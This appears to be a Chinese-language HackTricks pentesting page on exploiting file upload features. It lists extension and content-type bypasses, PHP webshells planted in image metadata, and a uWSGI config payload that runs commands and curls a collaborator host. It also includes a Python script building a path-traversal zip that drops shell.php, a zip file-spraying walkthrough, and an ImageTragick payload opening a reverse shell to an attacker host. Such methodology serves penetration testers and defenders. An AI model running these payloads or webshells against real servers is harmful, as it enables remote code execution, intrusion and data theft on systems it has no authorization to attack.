文件上传

Reading time: 23 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

文件上传一般方法论

其他有用的扩展名:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • 在PHPv8中工作: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

绕过文件扩展名检查

  1. 如果适用,检查 之前的扩展名。也可以使用一些大写字母进行测试:pHp, .pHP5, .PhAr ...
  2. 检查在执行扩展名之前添加有效扩展名(也使用之前的扩展名):
  • file.png.php
  • file.png.Php5
  1. 尝试在末尾添加特殊字符。可以使用Burp来暴力破解所有的asciiUnicode字符。(注意你也可以尝试使用之前提到的扩展名)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. 尝试通过欺骗服务器端的扩展解析器来绕过保护,使用双重扩展名或在扩展名之间添加垃圾数据(null字节)。你也可以使用之前的扩展名来准备更好的有效载荷。
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 在之前的检查中添加另一层扩展名
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 尝试将执行扩展名放在有效扩展名之前,并祈祷服务器配置错误。(有助于利用Apache配置错误,其中任何带有扩展名**.php的内容,但不一定以.php_**结尾的内容将执行代码):
  • 例如:file.php.png
  1. Windows中使用NTFS备用数据流(ADS)。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个带有禁止扩展名的空文件(例如“file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。可以使用“::$data”模式来创建非空文件。因此,在此模式后添加点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
  2. 尝试打破文件名限制。有效扩展名被截断,恶意PHP被保留。AAA<--SNIP-->AAA.php
# Linux最大255字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
# 上传文件并检查响应允许多少个字符。假设236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效载荷
AAA<--SNIP 232 A-->AAA.php.png

绕过内容类型、魔术数字、压缩和调整大小

  • 通过将Content-Type header设置为:image/png , _text/plain , application/octet-stream_来绕过Content-Type检查。
  1. Content-Type 字典https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • 通过在文件开头添加真实图像的字节(混淆_file_命令)来绕过魔术数字检查。或者在元数据中引入shell:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ 或者你也可以直接在图像中引入有效载荷
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 如果压缩被添加到你的图像,例如使用一些标准的PHP库如PHP-GD,那么之前的技术将无效。然而,你可以使用PLTE块 在这里定义的技术来插入一些文本,使其在压缩中存活
  • Github上的代码
  • 网页也可能在调整图像大小,例如使用PHP-GD函数imagecopyresizedimagecopyresampled。然而,你可以使用IDAT块 在这里定义的技术来插入一些文本,使其在压缩中存活
  • Github上的代码
  • 另一种制作在图像调整大小中存活的有效载荷的技术,使用PHP-GD函数thumbnailImage。然而,你可以使用tEXt块 在这里定义的技术来插入一些文本,使其在压缩中存活
  • Github上的代码

其他检查技巧

  • 找到一个重命名已上传文件的漏洞(以更改扩展名)。
  • 找到一个本地文件包含漏洞以执行后门。
  • 可能的信息泄露
  1. 上传多次(并且在同一时间)相同名称的相同文件
  2. 上传一个已经存在文件文件夹名称的文件
  3. 上传一个**“.”、 “..”或“...”作为其名称的文件。例如,在Apache的Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,“.”文件名将创建一个名为“uploads”的文件在“/www/”目录中。
  4. 上传一个可能不容易删除的文件,例如**“…:.jpg”NTFS**中。(Windows)
  5. Windows中上传一个带有无效字符的文件,例如|<>*?”作为其名称。(Windows)
  6. Windows中上传一个使用保留禁止名称的文件,例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8和LPT9。
  • 还可以尝试上传一个可执行文件(.exe)或一个**.html**(不太可疑),当被受害者意外打开时将执行代码

特殊扩展名技巧

如果你尝试将文件上传到PHP服务器查看**.htaccess**技巧以执行代码
如果你尝试将文件上传到ASP服务器查看**.config**技巧以执行代码

.phar文件类似于Java的.jar,但用于PHP,可以像PHP文件一样使用(用PHP执行或在脚本中包含它...)

.inc扩展名有时用于仅用于导入文件的PHP文件,因此,在某些时候,可能有人允许此扩展名被执行

Jetty RCE

如果你可以将XML文件上传到Jetty服务器,你可以获得RCE,因为新的*.xml和*.war会被自动处理**。**因此,如下图所示,将XML文件上传到$JETTY_BASE/webapps/并期待shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

有关此漏洞的详细探索,请查看原始研究:uWSGI RCE利用

如果能够修改.ini配置文件,则可以在uWSGI服务器中利用远程命令执行(RCE)漏洞。uWSGI配置文件利用特定语法来包含“魔术”变量、占位符和操作符。值得注意的是,@操作符,作为@(filename)使用,旨在包含文件的内容。在uWSGI支持的各种方案中,“exec”方案特别强大,允许从进程的标准输出读取数据。当处理.ini配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。

考虑以下有害的uwsgi.ini文件示例,展示各种方案:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

有效负载的执行发生在配置文件解析期间。为了激活和解析配置,uWSGI 进程必须被重启(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。

理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的有效负载可以插入到二进制文件中(例如图像或 PDF),进一步扩大潜在利用的范围。

wget 文件上传/SSRF 技巧

在某些情况下,您可能会发现服务器使用 wget下载文件,并且您可以 指示 URL。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保仅下载允许的文件。然而,此检查可以被绕过。
linux 中,文件名最大 长度为 255,但是 wget 将文件名截断为 236 个字符。您可以 下载一个名为 "A"*232+".php"+".gif" 的文件,这个文件名将 绕过 检查(因为在这个例子中 ".gif" 是一个 有效 扩展名),但 wget重命名 文件为 "A"*232+".php"

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

注意,您可能正在考虑的另一个选项是使HTTP服务器重定向到另一个文件,因此初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。这不会工作除非wget与参数--trust-server-names一起使用,因为wget将下载重定向页面,并使用原始URL中指示的文件名

工具

  • Upload Bypass 是一个强大的工具,旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术来简化识别和利用漏洞的过程,确保对Web应用程序进行全面评估。

从文件上传到其他漏洞

以下是您可以通过上传实现的前10个事项(来自这里):

  1. ASP / ASPX / PHP5 / PHP / PHP3:Webshell / RCE
  2. SVG:存储的XSS / SSRF / XXE
  3. GIF:存储的XSS / SSRF
  4. CSV:CSV注入
  5. XML:XXE
  6. AVI:LFI / SSRF
  7. HTML / JS:HTML注入 / XSS / 开放重定向
  8. PNG / JPEG:像素洪水攻击(DoS)
  9. ZIP:通过LFI / DoS的RCE
  10. PDF / PPTX:SSRF / BLIND XXE

Burp扩展

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

魔法头字节

  • PNG"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG"\xff\xd8\xff"

请参阅https://en.wikipedia.org/wiki/List_of_file_signatures以获取其他文件类型。

Zip/Tar文件自动解压上传

如果您可以上传一个将在服务器内部解压的ZIP,您可以做两件事:

符号链接

上传一个包含软链接到其他文件的链接,然后,访问解压的文件时,您将访问链接的文件:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

在不同文件夹中解压

在解压过程中意外在目录中创建文件是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制,通过操纵目标应用程序的解压功能来逃离安全上传目录。

一个自动化的利用工具可以在 evilarc on GitHub 找到。该工具的使用方法如下:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

此外,使用 evilarc 的符号链接技巧是一个选项。如果目标是针对像 /flag.txt 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在其操作过程中不会遇到错误。

下面是用于创建恶意 zip 文件的 Python 代码示例:

python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

滥用压缩进行文件喷洒

有关更多详细信息,请查看原始帖子https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. 创建 PHP Shell:编写 PHP 代码以执行通过 $_REQUEST 变量传递的命令。
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. 文件喷洒和压缩文件创建:创建多个文件,并组装一个包含这些文件的 zip 存档。
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. 使用十六进制编辑器或 vi 修改:使用 vi 或十六进制编辑器更改 zip 内部文件的名称,将 "xxA" 更改为 "../" 以遍历目录。
bash
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

将此内容与图像扩展名一起上传以利用该漏洞 (ImageMagick , 7.0.1-1) (来自 exploit

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

在PNG中嵌入PHP Shell

在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的imagecopyresizedimagecopyresampled函数在此上下文中特别相关,因为它们通常用于调整和重采样图像。嵌入的PHP shell能够不受这些操作影响,这对某些用例来说是一个显著的优势。

以下文章提供了对该技术的详细探讨,包括其方法论和潜在应用:"在PNG IDAT块中编码Web Shells"。该资源提供了对该过程及其影响的全面理解。

更多信息在:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

多格式文件

多格式文件在网络安全中作为一种独特的工具,像变色龙一样可以同时有效地存在于多种文件格式中。一个有趣的例子是GIFAR,它既可以作为GIF文件,也可以作为RAR归档文件。这类文件并不限于这种组合;像GIF和JS或PPT和JS的组合也是可行的。

多格式文件的核心用途在于它们能够绕过基于类型的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式(例如JS、PHP或Phar文件)带来的风险。然而,多格式文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。

尽管它们具有适应性,多格式文件仍然面临限制。例如,虽然一个多格式文件可能同时包含PHAR文件(PHp ARchive)和JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多格式文件的结构双重性可能不足以保证其上传。

更多信息在:https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks